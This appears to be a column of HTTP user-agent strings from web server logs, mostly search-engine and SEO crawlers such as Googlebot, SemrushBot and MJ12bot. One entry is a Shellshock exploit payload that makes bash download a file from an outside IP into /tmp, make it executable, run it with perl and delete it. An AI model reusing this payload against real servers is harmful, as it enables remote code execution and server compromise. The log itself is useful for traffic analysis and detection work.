"http_user_agent"
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
"Mozilla/5.0 (compatible; SemrushBot/1.1~bl; +http://www.semrush.com/bot.html)"
"Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
"Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)"
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview Analytics) Chrome/27.0.1453 Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
"Mozilla/5.0 (compatible; spbot/5.0.3; +http://OpenLinkProfiler.org/bot )"
"Wotbox/2.01 (+http://www.wotbox.com/bot/)"
"yacybot (/global; amd64 Linux 4.8.15-gentoo; java 1.8.0_111; Europe/de) http://yacy.net/bot.html"
"() { :;}; /bin/bash -c ""curl -o /tmp/cwo http://128.199.154.208/cwo;/usr/bin/wget http://128.199.154.208/cwo -O /tmp/cwo;chmod +x /tmp/cwo;perl /tmp/cwo;rm -rf -rf /tmp/cwo"""
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.0; trendictionbot0.5.0; trendiction search; http://www.trendiction.de/bot; please let us know of any problems; web at trendiction.com) Gecko/20071127 Firefox/3.0.0.11"
"Mozilla/5.0 (compatible; Feedspotbot/1.0; +http://www.feedspot.com/fs/bot)"
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
"Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
"Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html)"
"Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)"
"Mozilla/5.0 (compatible; LinkisBot/1.0; bot@linkis.com) (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) Mobile/12H321"
"Mozilla/5.0 (compatible; LinkisBot/1.0; bot@linkis.com)"
"Mozilla/5.0 (compatible; MojeekBot/0.6; +https://www.mojeek.com/bot.html)"
"your-search-bot"